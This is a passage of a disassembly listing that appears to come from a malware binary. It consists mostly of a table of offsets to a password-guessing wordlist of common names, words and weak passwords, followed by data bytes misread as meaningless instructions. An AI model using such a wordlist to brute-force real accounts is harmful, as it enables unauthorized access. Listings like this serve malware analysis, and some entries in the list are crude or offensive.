		dd offset aGinger	; "ginger"
		dd offset aGirl		; "girl"
		dd offset aGlacier	; "glacier"
		dd offset aGold		; "gold"
		dd offset aGolden	; "golden"
		dd offset aGolf		; "golf"
		dd offset aGolfer	; "golfer"
		dd offset aGood		; "good"
		dd offset aGorgeous	; "gorgeous"
		dd offset aGorges	; "gorges"
		dd offset aGosling	; "gosling"
		dd offset aGouge	; "gouge"
		dd offset aGovermen	; "govermen"
		dd offset aGrades	; "grades"
		dd offset aGraham	; "graham"
		dd offset aGrahm	; "grahm"
		dd offset aGrand	; "grand"
		dd offset aGrant	; "grant"
		dd offset aGreat	; "great"
		dd offset aGreen	; "green"
		dd offset aGroup	; "group"
		dd offset aGryphon	; "gryphon"
		dd offset aGuardian	; "guardian"
		dd offset aGucci	; "gucci"
		dd offset aGuess	; "guess"
		dd offset aGuitar	; "guitar"
		dd offset aGumption	; "gumption"
		dd offset aGuntis	; "guntis"
		dd offset aHack		; "hack"
		dd offset aHacked	; "hacked"
		dd offset aHagar	; "hagar"
		dd offset aHair		; "hair"
		dd offset aHallowee	; "hallowee"
		dd offset aHamlet	; "hamlet"
		dd offset aHamster	; "hamster"
		dd offset aHandel	; "handel"
		dd offset aHandily	; "handily"
		dd offset aHandjob	; "handjob"
		dd offset aHappenin	; "happenin"
		dd offset aHard		; "hard"
		dd offset aHardcore	; "hardcore"
		dd offset aHarddriv	; "harddriv"
		dd offset aHarmony	; "harmony"
		dd offset aHarold	; "harold"
		dd offset aHarvey	; "harvey"
		dd offset aHate		; "hate"
		dd offset aHaven	; "haven"
		dd offset aHawaii	; "hawaii"
		dd offset aHead		; "head"
		dd offset aHeadbang	; "headbang"
		dd offset aHeat		; "heat"
		dd offset aHeathen	; "heathen"
		dd offset aHeather	; "heather"
		dd offset aHebrides	; "hebrides"
		dd offset aHeidi	; "heidi"
		dd offset aHeinlein	; "heinlein"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aHelp		; "help"
		dd offset aHerb		; "herb"
		dd offset aHerbert	; "herbert"
		dd offset aHero		; "hero"
		dd offset aHeroin	; "heroin"
		dd offset aHewlett	; "hewlett"
		dd offset aHexadeci	; "hexadeci"
		dd offset aHiawatha	; "hiawatha"
		dd offset aHibernia	; "hibernia"
		dd offset aHidden	; "hidden"
		dd offset aHigh		; "high"
		dd offset aHighland	; "highland"
		dd offset aHitler	; "hitler"
		dd offset aHits		; "hits"
		dd offset aHole		; "hole"
		dd offset aHolly	; "holly"
		dd offset aHollywoo	; "hollywoo"
		dd offset aHomepage	; "homepage"
		dd offset aHomer	; "homer"
		dd offset aHomework	; "homework"
		dd offset aHoney	; "honey"
		dd offset aHooker	; "hooker"
		dd offset aHooters	; "hooters"
		dd offset aHorny	; "horny"
		dd offset aHorrible	; "horrible"
		dd offset aHorror	; "horror"
		dd offset aHorse	; "horse"
		dd offset aHorus	; "horus"
		dd offset aHost		; "host"
		dd offset aHotdog	; "hotdog"
		dd offset aHotel	; "hotel"
		dd offset aHttp_0	; "http"
		dd offset aHunt		; "hunt"
		dd offset aHunter	; "hunter"
		dd offset aHutchins	; "hutchins"
		dd offset aHydrogen	; "hydrogen"
		dd offset aHyper	; "hyper"
		dd offset aHypertxt	; "hypertxt"
		dd offset aIcecream	; "icecream"
		dd offset aIllumina	; "illumina"
		dd offset aImage	; "image"
		dd offset aImbrogli	; "imbrogli"
		dd offset aImmortal	; "immortal"
		dd offset aImperial	; "imperial"
		dd offset aInclude	; "include"
		dd offset aIndia	; "india"
		dd offset aIndian	; "indian"
		dd offset aIndiana	; "indiana"
		dd offset aIndians	; "indians"
		dd offset aIngres	; "ingres"
		dd offset aIngress	; "ingress"
		dd offset aIngrid	; "ingrid"
		dd offset aInna		; "inna"
		dd offset aInnocuou	; "innocuou"
		dd offset aInput	; "input"
		dd offset aInside	; "inside"
		dd offset aInteger	; "integer"
		dd offset aInvent	; "invent"
		dd offset aIrene	; "irene"
		dd offset aIrishman	; "irishman"
		dd offset aIsis		; "isis"
		dd offset aJackie	; "jackie"
		dd offset aJail		; "jail"
		dd offset aJane		; "jane"
		dd offset aJanet	; "janet"
		dd offset aJanice	; "janice"
		dd offset aJanie	; "janie"
		dd offset aJapan	; "japan"
		dd offset aJasmin	; "jasmin"
		dd offset aJava		; "java"
		dd offset aJazz		; "jazz"
		dd offset aJean		; "jean"
		dd offset aJeanne	; "jeanne"
		dd offset aJeff		; "jeff"
		dd offset aJenni	; "jenni"
		dd offset aJennifer	; "jennifer"
		dd offset aJenny	; "jenny"
		dd offset aJerry	; "jerry"
		dd offset aJerusale	; "jerusale"
		dd offset aJessica	; "jessica"
		dd offset aJester	; "jester"
		dd offset aJewelry	; "jewelry"
		dd offset aJill		; "jill"
		dd offset aJixian	; "jixian"
		dd offset aJoanne	; "joanne"
		dd offset aJody		; "jody"
		dd offset aJohn		; "john"
		dd offset aJohndoe	; "johndoe"
		dd offset aJohnny	; "johnny"
		dd offset aJoseph	; "joseph"
		dd offset aJoshua	; "joshua"
		dd offset aJournal	; "journal"
		dd offset aJoyce	; "joyce"
		dd offset aJudith	; "judith"
		dd offset aJudy		; "judy"
		dd offset aJuggle	; "juggle"
		dd offset aJuicy	; "juicy"
		dd offset aJulia	; "julia"
		dd offset aJulie	; "julie"
		dd offset aJuliet	; "juliet"
		dd offset aJune		; "june"
		dd offset aJupiter	; "jupiter"
		dd offset aKaka		; "kaka"
		dd offset aKaren	; "karen"
		dd offset aKarie	; "karie"
		dd offset aKarina	; "karina"
		dd offset aKatana	; "katana"
		dd offset aKate		; "kate"
		dd offset aKathleen	; "kathleen"
		dd offset aKathrine	; "kathrine"
		dd offset aKathy	; "kathy"
		dd offset aKatina	; "katina"
		dd offset aKatrina	; "katrina"
		dd offset aKelly	; "kelly"
		dd offset aKeri		; "keri"
		dd offset aKermit	; "kermit"
		dd offset aKernel	; "kernel"
		dd offset aKerri	; "kerri"
		dd offset aKerrie	; "kerrie"
		dd offset aKerry	; "kerry"
		dd offset aKevin	; "kevin"
		dd offset aKewl		; "kewl"
		dd offset aKeybord	; "keybord"
		dd offset aKeyin	; "keyin"
		dd offset aKeyword	; "keyword"
		dd offset aKids		; "kids"
		dd offset aKill		; "kill"
		dd offset aKillthem	; "killthem"
		dd offset aKilo		; "kilo"
		dd offset aKimberly	; "kimberly"
		dd offset aKing		; "king"
		dd offset aKirk		; "kirk"
		dd offset aKirkland	; "kirkland"
		dd offset aKiss		; "kiss"
		dd offset aKissmyas	; "kissmyas"
		dd offset aKitten	; "kitten"
		dd offset aKlingon	; "klingon"
		dd offset aKnife	; "knife"
		dd offset aKnight	; "knight"
		dd offset aKnightma	; "knightma"
		dd offset aKnown	; "known"
		dd offset aKrista	; "krista"
		dd offset aKristen	; "kristen"
		dd offset aKristi	; "kristi"
		dd offset aKristie	; "kristie"
		dd offset aKristin	; "kristin"
		dd offset aKristine	; "kristine"
		dd offset aKristy	; "kristy"
		dd offset aLadies	; "ladies"
		dd offset aLadle	; "ladle"
		dd offset aLakers	; "lakers"
		dd offset aLambda	; "lambda"
		dd offset aLaminati	; "laminati"
		dd offset aLana		; "lana"
		dd offset aLaptop	; "laptop"
		dd offset aLara		; "lara"
		dd offset aLarkin	; "larkin"
		dd offset aLarry	; "larry"
		dd offset aLaser	; "laser"
		dd offset aLaura	; "laura"
		dd offset aLava		; "lava"
		dd offset aLazarus	; "lazarus"
		dd offset aLazer	; "lazer"
		dd offset aLeah		; "leah"
		dd offset aLebesgue	; "lebesgue"
		dd offset aLeft		; "left"
		dd offset aLeftwing	; "leftwing"
		dd offset aLegal	; "legal"
		dd offset aLeland	; "leland"
		dd offset aLeroy	; "leroy"
		dd offset aLesbian	; "lesbian"
		dd offset aLeslie	; "leslie"
		dd offset aLetmein	; "letmein"
		dd offset aLewis	; "lewis"
		dd offset aLexluthe	; "lexluthe"
		dd offset aLiberal	; "liberal"
		dd offset aLibrary	; "library"
		dd offset aLick		; "lick"
		dd offset aLicker	; "licker"
		dd offset aLife		; "life"
		dd offset aLight	; "light"
		dd offset aLightsab	; "lightsab"
		dd offset aLima		; "lima"
		dd offset aLimbaugh	; "limbaugh"
		dd offset aLimited	; "limited"
		dd offset aLinda	; "linda"
		dd offset aLink		; "link"
		dd offset aLion		; "lion"
		dd offset aLips		; "lips"
		dd offset aLisa		; "lisa"
		dd offset aLisp		; "lisp"
		dd offset aLiteratu	; "literatu"
		dd offset aLive		; "live"
		dd offset aLoad		; "load"
		dd offset aLock		; "lock"
		dd offset aLockout	; "lockout"
		dd offset aLockword	; "lockword"
		dd offset aLogic	; "logic"
		dd offset aLoginwor	; "loginwor"
		dd offset aLogout	; "logout"
		dd offset aLois		; "lois"
		dd offset aLolopc	; "lolopc"
		dd offset aLoose	; "loose"
		dd offset aLore		; "lore"
		dd offset aLori		; "lori"
		dd offset aLorin	; "lorin"
		dd offset aLorraine	; "lorraine"
		dd offset aLoser	; "loser"
		dd offset aLouis	; "louis"
		dd offset aLovebug	; "lovebug"
		dd offset aLover	; "lover"
		dd offset aLuck		; "luck"
		dd offset aLucus	; "lucus"
		dd offset aLucy		; "lucy"
		dd offset aLude		; "lude"
		dd offset aLuke		; "luke"
		dd offset aLust		; "lust"
		dd offset aLynn		; "lynn"
		dd offset aLynne	; "lynne"
		dd offset aMachine	; "machine"
		dd offset aMacintos	; "macintos"
		dd offset aMack		; "mack"
		dd offset aMacro	; "macro"
		dd offset aMaggot	; "maggot"
		dd offset aMagic	; "magic"
		dd offset aMagnet	; "magnet"
		dd offset aMail		; "mail"
		dd offset aMaint	; "maint"
		dd offset aMalcolm	; "malcolm"
		dd offset aMalcom	; "malcom"
		dd offset aMana		; "mana"
		dd offset aManager	; "manager"
		dd offset aMara		; "mara"
		dd offset aMarci	; "marci"
		dd offset aMarcy	; "marcy"
		dd offset aMaria	; "maria"
		dd offset aMariens	; "mariens"
		dd offset aMarietta	; "marietta"
		dd offset aMarijuan	; "marijuan"
		dd offset aMarines	; "marines"
		dd offset aMark		; "mark"
		dd offset aMarkus	; "markus"
		dd offset aMarni	; "marni"
		dd offset aMarriage	; "marriage"
		dd offset aMars		; "mars"
		dd offset aMarty	; "marty"
		dd offset aMarvin	; "marvin"
		dd offset aMary		; "mary"
		dd offset aMason	; "mason"
		dd offset aMaster	; "master"
		dd offset aMath		; "math"
		dd offset aMaurice	; "maurice"
		dd offset aMeagan	; "meagan"
		dd offset aMegabyte	; "megabyte"
		dd offset aMegadeth	; "megadeth"
		dd offset aMegan	; "megan"
		dd offset aMelissa	; "melissa"
		dd offset aMellon	; "mellon"
		dd offset aMelrose	; "melrose"
		dd offset aMember	; "member"
		dd offset aMemory	; "memory"
		dd offset aMenace	; "menace"
		dd offset aMenu		; "menu"
		dd offset aMercury	; "mercury"
		dd offset aMerlin	; "merlin"
		dd offset aMetal	; "metal"
		dd offset aMetalhea	; "metalhea"
		dd offset aMetalica	; "metalica"
		dd offset aMets		; "mets"
		dd offset aMice		; "mice"
		dd offset aMichael	; "michael"
		dd offset aMichel	; "michel"
		dd offset aMichelan	; "michelan"
		dd offset aMichele	; "michele"
		dd offset aMichelle	; "michelle"
		dd offset aMickey	; "mickey"
		dd offset aMicro	; "micro"
		dd offset aMicrochi	; "microchi"
		dd offset aMicropro	; "micropro"
		dd offset aMicrosof	; "microsof"
		dd offset aMidieval	; "midieval"
		dd offset aMike		; "mike"
		dd offset aMine		; "mine"
		dd offset aMinimum	; "minimum"
		dd offset aMinsky	; "minsky"
		dd offset aMisfit	; "misfit"
		dd offset aMission	; "mission"
		dd offset aMkii		; "mkii"
		dd offset aMode		; "mode"
		dd offset aModem	; "modem"
		dd offset aMogul	; "mogul"
		dd offset aMoguls	; "moguls"
		dd offset aMonday	; "monday"
		dd offset aMonica	; "monica"
		dd offset aMoom		; "moom"
		dd offset aMoor		; "moor"
		dd offset aMoose	; "moose"
		dd offset aMore		; "more"
		dd offset aMorley	; "morley"
		dd offset aMorris	; "morris"
		dd offset aMortal	; "mortal"
		dd offset aMortalco	; "mortalco"
		dd offset aMortgage	; "mortgage"
		dd offset aMosaic	; "mosaic"
		dd offset aMountain	; "mountain"
		dd offset aMouse	; "mouse"
		dd offset aMove		; "move"
		dd offset aMovie	; "movie"
		dd offset aMovies	; "movies"
		dd offset aMozart	; "mozart"
		dd offset aMpeg		; "mpeg"
		dd offset aMsdos	; "msdos"
		dd offset aMuppets	; "muppets"
		dd offset aMutant	; "mutant"
		dd offset aNagel	; "nagel"
		dd offset aName		; "name"
		dd offset aNancy	; "nancy"
		dd offset aNapoleon	; "napoleon"
		dd offset aNasa		; "nasa"
		dd offset aNavy		; "navy"
		dd offset aNepenthe	; "nepenthe"
		dd offset aNeptune	; "neptune"
		dd offset aNess		; "ness"
		dd offset aNetscape	; "netscape"
		dd offset aNetwork_0	; "network"
		dd offset aNewborn	; "newborn"
		dd offset aNews		; "news"
		dd offset aNewsgrou	; "newsgrou"
		dd offset aNewton	; "newton"
		dd offset aNewyork	; "newyork"
		dd offset aNext		; "next"
		dd offset aNice		; "nice"
		dd offset aNicole	; "nicole"
		dd offset aNicotine	; "nicotine"
		dd offset aNight	; "night"
		dd offset aNightmar	; "nightmar"
		dd offset aNintendo	; "nintendo"
		dd offset aNita		; "nita"
		dd offset aNnaacp	; "nnaacp"
		dd offset aNoble	; "noble"
		dd offset aNobody	; "nobody"
		dd offset aNode		; "node"
		dd offset aNoreen	; "noreen"
		dd offset aNotes	; "notes"
		dd offset aNoth		; "noth"
		dd offset aNova		; "nova"
		dd offset aNovel	; "novel"
		dd offset aNovember	; "november"
		dd offset aNoxious	; "noxious"
		dd offset aNuclear	; "nuclear"
		dd offset aNude		; "nude"
		dd offset aNuke		; "nuke"
		dd offset aNukem	; "nukem"
		dd offset aNull_1	; "null"
		dd offset aNumber	; "number"
		dd offset aNutritio	; "nutritio"
		dd offset aNuts		; "nuts"
		dd offset aNyquist	; "nyquist"
		dd offset aObscurit	; "obscurit"
		dd offset aOceanogr	; "oceanogr"
		dd offset aOcelot	; "ocelot"
		dd offset aOffice	; "office"
		dd offset aOkay		; "okay"
		dd offset aOldage	; "oldage"
		dd offset aOlivetti	; "olivetti"
		dd offset aOlivia	; "olivia"
		dd offset aOmega	; "omega"
		dd offset aOpen		; "open"
		dd offset aOpening	; "opening"
		dd offset aOpenlock	; "openlock"
		dd offset aOpensesa	; "opensesa"
		dd offset aOperator	; "operator"
		dd offset aOrca		; "orca"
		dd offset aOrient	; "orient"
		dd offset aOrwell	; "orwell"
		dd offset aOscar	; "oscar"
		dd offset aOsiris	; "osiris"
		dd offset aOutdoors	; "outdoors"
		dd offset aOutlaw	; "outlaw"
		dd offset aOutput	; "output"
		dd offset aOutside	; "outside"
		dd offset aOxford	; "oxford"
		dd offset aPacific	; "pacific"
		dd offset aPackard	; "packard"
		dd offset aPacker	; "packer"
		dd offset aPainless	; "painless"
		dd offset aPaint	; "paint"
		dd offset aPakistan	; "pakistan"
		dd offset aPamela	; "pamela"
		dd offset aPapa		; "papa"
		dd offset aPaper	; "paper"
		dd offset aPapers	; "papers"
		dd offset aPascal	; "pascal"
		dd offset aPassphra	; "passphra"
		dd offset aPaste	; "paste"
		dd offset aPatricia	; "patricia"
		dd offset aPatriot	; "patriot"
		dd offset aPatty	; "patty"
		dd offset aPaula	; "paula"
		dd offset aPeanuts	; "peanuts"
		dd offset aPecker	; "pecker"
		dd offset aPencil	; "pencil"
		dd offset aPenelope	; "penelope"
		dd offset aPenguin	; "penguin"
		dd offset aPenis	; "penis"
		dd offset aPenname	; "penname"
		dd offset aPentagon	; "pentagon"
		dd offset aPentagra	; "pentagra"
		dd offset aPenthous	; "penthous"
		dd offset aPentium	; "pentium"
		dd offset aPeoria	; "peoria"
		dd offset aPepper	; "pepper"
		dd offset aPercolat	; "percolat"
		dd offset aPerfect	; "perfect"
		dd offset aPermit	; "permit"
		dd offset aPersimmo	; "persimmo"
		dd offset aPersona	; "persona"
		dd offset aPervert	; "pervert"
		dd offset aPete		; "pete"
		dd offset aPeter	; "peter"
		dd offset aPhil		; "phil"
		dd offset aPhilip	; "philip"
		dd offset aPhoenix	; "phoenix"
		dd offset aPhone	; "phone"
		dd offset aPhoton	; "photon"
		dd offset aPhrack	; "phrack"
		dd offset aPhrase	; "phrase"
		dd offset aPhreak	; "phreak"
		dd offset aPhuck	; "phuck"
		dd offset aPick		; "pick"
		dd offset aPierre	; "pierre"
		dd offset aPimp		; "pimp"
		dd offset aPinname	; "pinname"
		dd offset aPiss		; "piss"
		dd offset aPizza	; "pizza"
		dd offset aPlane	; "plane"
		dd offset aPlayboy	; "playboy"
		dd offset aPlover	; "plover"
		dd offset aPluto	; "pluto"
		dd offset aPlymouth	; "plymouth"
		dd offset aPoetry	; "poetry"
		dd offset aPolice	; "police"
		dd offset aPolly	; "polly"
		dd offset aPolynomi	; "polynomi"
		dd offset aPonderin	; "ponderin"
		dd offset aPoop		; "poop"
		dd offset aPoor		; "poor"
		dd offset aPork		; "pork"
		dd offset aPorn		; "porn"
		dd offset aPorno	; "porno"
		dd offset aPorsche	; "porsche"
		dd offset aPost		; "post"
		dd offset aPoster	; "poster"
		dd offset aPower	; "power"
		dd offset aPraise	; "praise"
		dd offset aPrecious	; "precious"
		dd offset aPrelude	; "prelude"
		dd offset aPresto	; "presto"
		dd offset aPrince	; "prince"
		dd offset aPrinceto	; "princeto"
		dd offset aPrinter	; "printer"
		dd offset aPriv		; "priv"
		dd offset aPrivate	; "private"
		dd offset aPrivs	; "privs"
		dd offset aProceed	; "proceed"
		dd offset aProcesso	; "processo"
		dd offset aProfesso	; "professo"
		dd offset aProfile	; "profile"
		dd offset aProgram	; "program"
		dd offset aPrompt	; "prompt"
		dd offset aProtect	; "protect"
		dd offset aProtozoa	; "protozoa"
		dd offset aPsycho	; "psycho"
		dd offset aPsychopa	; "psychopa"
		dd offset aPublic	; "public"
		dd offset aPuck		; "puck"
		dd offset aPuke		; "puke"
		dd offset aPumpkin	; "pumpkin"
		dd offset aPuneet	; "puneet"
		dd offset aPunisher	; "punisher"
		dd offset aPunk		; "punk"
		dd offset aPuppet	; "puppet"
		dd offset aPussy	; "pussy"
		dd offset aQuebec	; "quebec"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aRabbit	; "rabbit"
		dd offset aRachel	; "rachel"
		dd offset aRachelle	; "rachelle"
		dd offset aRachmani	; "rachmani"
		dd offset aRaid		; "raid"
		dd offset aRain		; "rain"
		dd offset aRainbow	; "rainbow"
		dd offset aRaindrop	; "raindrop"
		dd offset aRaleigh	; "raleigh"
		dd offset aRandom	; "random"
		dd offset aRape		; "rape"
		dd offset aRascal	; "rascal"
		dd offset aRazor	; "razor"
		dd offset aReagan	; "reagan"
		dd offset aReality	; "reality"
		dd offset aReally	; "really"
		dd offset aReam		; "ream"
		dd offset aReaper	; "reaper"
		dd offset aRebal	; "rebal"
		dd offset aRebecca	; "rebecca"
		dd offset aRebel	; "rebel"
		dd offset aRecord	; "record"
		dd offset aReddawn	; "reddawn"
		dd offset aRedhead	; "redhead"
		dd offset aReferenc	; "referenc"
		dd offset aRegional	; "regional"
		dd offset aRelease	; "release"
		dd offset aRemote	; "remote"
		dd offset aRenee	; "renee"
		dd offset aReno		; "reno"
		dd offset aRent		; "rent"
		dd offset aReport	; "report"
		dd offset aRepublic	; "republic"
		dd offset aResistan	; "resistan"
		dd offset aReveal	; "reveal"
		dd offset aRhino	; "rhino"
		dd offset aRich		; "rich"
		dd offset aRick		; "rick"
		dd offset aRiffraff	; "riffraff"
		dd offset aRight	; "right"
		dd offset aRightwin	; "rightwin"
		dd offset aRing		; "ring"
		dd offset aRiot		; "riot"
		dd offset aRipple	; "ripple"
		dd offset aRisc		; "risc"
		dd offset aRoach	; "roach"
		dd offset aRobert	; "robert"
		dd offset aRobin	; "robin"
		dd offset aRobot	; "robot"
		dd offset aRobotics	; "robotics"
		dd offset aRobyn	; "robyn"
		dd offset aRochelle	; "rochelle"
		dd offset aRocheste	; "rocheste"
		dd offset aRock		; "rock"
		dd offset aRocky	; "rocky"
		dd offset aRockyhor	; "rockyhor"
		dd offset aRodent	; "rodent"
		dd offset aRolex	; "rolex"
		dd offset aRomano	; "romano"
		dd offset aRomeo	; "romeo"
		dd offset aRomulan	; "romulan"
		dd offset aRonald	; "ronald"
		dd offset aRose		; "rose"
		dd offset aRosebud	; "rosebud"
		dd offset aRosemary	; "rosemary"
		dd offset aRoses	; "roses"
		dd offset aRough	; "rough"
		dd offset aRubber	; "rubber"
		dd offset aRuben	; "ruben"
		dd offset aRuby		; "ruby"
		dd offset aRude		; "rude"
		dd offset aRules	; "rules"
		dd offset aRunning	; "running"
		dd offset aRush		; "rush"
		dd offset aRuth		; "ruth"
		dd offset aSafe		; "safe"
		dd offset aSalami	; "salami"
		dd offset aSale		; "sale"
		dd offset aSalt		; "salt"
		dd offset aSamantha	; "samantha"
		dd offset aSample	; "sample"
		dd offset aSandra	; "sandra"
		dd offset aSandy	; "sandy"
		dd offset aSara		; "sara"
		dd offset aSarah	; "sarah"
		dd offset aSaturday	; "saturday"
		dd offset aSaturn	; "saturn"
		dd offset aSaxon	; "saxon"
		dd offset aScamper	; "scamper"
		dd offset aScheme	; "scheme"
		dd offset aSchool	; "school"
		dd offset aSchoolsucks	; "schoolsucks"
		dd offset aScifi	; "scifi"
		dd offset aScorpion	; "scorpion"
		dd offset aScott	; "scott"
		dd offset aScotty	; "scotty"
		dd offset aScout	; "scout"
		dd offset aSearch	; "search"
		dd offset aSecurity	; "security"
		dd offset aSeed		; "seed"
		dd offset aSega		; "sega"
		dd offset aSensor	; "sensor"
		dd offset aSentinel	; "sentinel"
		dd offset aSentry	; "sentry"
		dd offset aSerenity	; "serenity"
		dd offset aSerial_0	; "serial"
		dd offset aService	; "service"
		dd offset aSesame	; "sesame"
		dd offset aSexy		; "sexy"
		dd offset aShannon	; "shannon"
		dd offset aSharc	; "sharc"
		dd offset aShark	; "shark"
		dd offset aSharks	; "sharks"
		dd offset aSharon	; "sharon"
		dd offset aSheffiel	; "sheffiel"
		dd offset aSheldon	; "sheldon"
		dd offset aShell	; "shell"
		dd offset aSherri	; "sherri"
		dd offset aShift	; "shift"
		dd offset aShirley	; "shirley"
		dd offset aShit		; "shit"
		dd offset aShitpot	; "shitpot"
		dd offset aShiva	; "shiva"
		dd offset aShivers	; "shivers"
		dd offset aShort	; "short"
		dd offset aShuttle	; "shuttle"
		dd offset aSick		; "sick"
		dd offset aSierra	; "sierra"
		dd offset aSignatur	; "signatur"
		dd offset aSilver	; "silver"
		dd offset aSimcity	; "simcity"
		dd offset aSimon	; "simon"
		dd offset aSimple	; "simple"
		dd offset aSimpsons	; "simpsons"
		dd offset aSimulati	; "simulati"
		dd offset aSinger	; "singer"
		dd offset aSingle	; "single"
		dd offset aSite		; "site"
		dd offset aSkull	; "skull"
		dd offset aSlave	; "slave"
		dd offset aSlick	; "slick"
		dd offset aSliders	; "sliders"
		dd offset aSlow		; "slow"
		dd offset aSlut		; "slut"
		dd offset aSmall	; "small"
		dd offset aSmart	; "smart"
		dd offset aSmile	; "smile"
		dd offset aSmiles	; "smiles"
		dd offset aSmooch	; "smooch"
		dd offset aSmother	; "smother"
		dd offset aSmtp		; "smtp"
		dd offset aSmut		; "smut"
		dd offset aSnach	; "snach"
		dd offset aSnafu	; "snafu"
		dd offset aSnake	; "snake"
		dd offset aSnatch	; "snatch"
		dd offset aSnoopy	; "snoopy"
		dd offset aSoap		; "soap"
		dd offset aSocial	; "social"
		dd offset aSocrates	; "socrates"
		dd offset aSodomy	; "sodomy"
		dd offset aSoft		; "soft"
		dd offset aSoftware	; "software"
		dd offset aSomebody	; "somebody"
		dd offset aSondra	; "sondra"
		dd offset aSonia	; "sonia"
		dd offset aSonic	; "sonic"
		dd offset aSonya	; "sonya"
		dd offset aSossina	; "sossina"
		dd offset aSource	; "source"
		dd offset aSouth	; "south"
		dd offset aSpaceshi	; "spaceshi"
		dd offset aSparrows	; "sparrows"
		dd offset aSpear	; "spear"
		dd offset aSpell	; "spell"
		dd offset aSpice	; "spice"
		dd offset aSpider	; "spider"
		dd offset aSpiderma	; "spiderma"
		dd offset aSpit		; "spit"
		dd offset aSpred	; "spred"
		dd offset aSpring	; "spring"
		dd offset aSpringer	; "springer"
		dd offset aSpunk	; "spunk"
		dd offset aSquires	; "squires"
		dd offset aSr71		; "sr71"
		dd offset aStacey	; "stacey"
		dd offset aStaci	; "staci"
		dd offset aStacie	; "stacie"
		dd offset aStacy	; "stacy"
		dd offset aStar		; "star"
		dd offset aStarship	; "starship"
		dd offset aStart	; "start"
		dd offset aStartrek	; "startrek"
		dd offset aStartup	; "startup"
		dd offset aStarwars	; "starwars"
		dd offset aSteak	; "steak"
		dd offset aSteal	; "steal"
		dd offset aSteel	; "steel"
		dd offset aSteph	; "steph"
		dd offset aStephani	; "stephani"
		dd offset aStereo	; "stereo"
		dd offset aSteve	; "steve"
		dd offset aStoneage	; "stoneage"
		dd offset aStoned	; "stoned"
		dd offset aStones	; "stones"
		dd offset aStrange	; "strange"
		dd offset aStrangle	; "strangle"
		dd offset aStratfor	; "stratfor"
		dd offset aStreetfi	; "streetfi"
		dd offset aString	; "string"
		dd offset aStrip	; "strip"
		dd offset aStudent	; "student"
		dd offset aStuttgar	; "stuttgar"
		dd offset aSubscrib	; "subscrib"
		dd offset aSubway	; "subway"
		dd offset aSuccess	; "success"
		dd offset aSuck		; "suck"
		dd offset aSuckmydi	; "suckmydi"
		dd offset aSucks	; "sucks"
		dd offset aSummer	; "summer"
		dd offset aSunday	; "sunday"
		dd offset aSuperman	; "superman"
		dd offset aSuperson	; "superson"
		dd offset aSupersta	; "supersta"
		dd offset aSuperuse	; "superuse"
		dd offset aSupervis	; "supervis"
		dd offset aSupport	; "support"
		dd offset aSupporte	; "supporte"
		dd offset aSurfer	; "surfer"
		dd offset aSurfing	; "surfing"
		dd offset aSusan	; "susan"
		dd offset aSusanne	; "susanne"
		dd offset aSusie	; "susie"
		dd offset aSuzanne	; "suzanne"
		dd offset aSuzie	; "suzie"
		dd offset aSwearer	; "swearer"
		dd offset aSweat	; "sweat"
		dd offset aSwitch	; "switch"
		dd offset aSword	; "sword"
		dd offset aSybil	; "sybil"
		dd offset aSymmetry	; "symmetry"
		dd offset aSysadmin	; "sysadmin"
		dd offset aSysop	; "sysop"
		dd offset aTabasco	; "tabasco"
		dd offset aTalk		; "talk"
		dd offset aTall		; "tall"
		dd offset aTamara	; "tamara"
		dd offset aTami		; "tami"
		dd offset aTamie	; "tamie"
; ---------------------------------------------------------------------------
		sar	dh, 1
		inc	edx
		add	ah, al
		inc	byte ptr [edx+0]
		mov	esp, 0B40042FEh
		inc	byte ptr [edx+0]
		lodsb
		inc	byte ptr [edx+0]
		movsb
		inc	byte ptr [edx+0]
		cwde
		inc	byte ptr [edx+0]
		nop
		inc	byte ptr [edx+0]
		cwde
		xor	[ebx+0], al
		mov	dh, bh
		inc	edx
		add	[eax+780042FEh], al
		inc	byte ptr [edx+0]


loc_42DA60:				; CODE XREF: seg002:loc_42DA60j
		jo	short loc_42DA60
		inc	edx
		add	[eax-2], ch
		inc	edx
		add	[eax-2], ah
		inc	edx
		add	[esi+edi*8+42h], dl
		add	[esi+edi*8+42h], cl
		add	[eax-2], al
		inc	edx
		add	[eax], bh
		inc	byte ptr [edx+0]
		xor	dh, bh
		inc	edx
		add	[esi+edi*8], ah
		inc	edx
		add	[eax], bl
		inc	byte ptr [edx+0]
		adc	dh, bh
		inc	edx
		add	[eax], cl
		inc	byte ptr [edx+0]
		add	dh, bh
		inc	edx
		add	ah, dh
		std
		inc	edx
		add	ah, ch
		std
		inc	edx
		add	ah, ah
		std
		inc	edx
		add	al, bl
		std
		inc	edx
		add	al, dl
		std
		inc	edx
		add	al, cl
		std
		inc	edx
		add	al, al
		std
		inc	edx
		add	[eax-4FFFBD03h], bh
		std
		inc	edx
		add	[eax-5FFFBD03h], ch
		std
		inc	edx
		add	[eax-73FFBD03h], bl
		std
		inc	edx
		add	[ebp+edi*8-287FFBEh], al
		inc	edx
		add	[ebp+edi*8+42h], ch
		add	[ebp+edi*8+42h], ah
		add	[ebp+edi*8+42h], bl
		add	[ebp+edi*8+42h], dl
		add	[ebp+edi*8+42h], cl
		add	[ebp+edi*8+42h], al
		add	ds:0FD300042h[edi*8], bh
		inc	edx
		add	[eax], ch
		std
		inc	edx
		add	ds:0FD140042h[edi*8], bl
		inc	edx
		add	ds:0FD040042h[edi*8], cl
		inc	edx
		add	ah, bh
		cld
		inc	edx
		add	ah, dh
		cld
		inc	edx
		add	al, ch
		cld
		inc	edx
		add	al, ah
		cld
		inc	edx
		add	al, bl
		cld
		inc	edx
		add	al, dl
		cld
		inc	edx
		add	al, cl
		cld
		inc	edx
		add	al, al
		cld
		inc	edx
		add	[eax-4FFFBD04h], bh
		cld
		inc	edx
		add	[eax-5FFFBD04h], ch
		cld
		inc	edx
		add	[eax-6FFFBD04h], bl
		cld
		inc	edx
		add	[eax-7FFFBD04h], cl
		cld
		inc	edx
		add	[eax-4], bh
		inc	edx
		add	[esp+edi*8+42h], ch
		add	[eax-4], ah
		inc	edx
		add	[esp+edi*8+42h], dl
		add	[esp+edi*8+42h], cl
		add	[esp+edi*8+42h], al
		add	[esp+edi*8], bh
		inc	edx
		add	[esp+edi*8], dh
		inc	edx
		add	[esp+edi*8], ch
		inc	edx
		add	[esp+edi*8], ah
		inc	edx
		add	[esp+edi*8], bl
		inc	edx
		add	[eax], dl
		cld
		inc	edx
		add	[esp+edi*8], al
		inc	edx
		add	ah, bh
		sti
		inc	edx
		add	ah, dh
		sti
		inc	edx
		add	ah, ch
		sti
		inc	edx
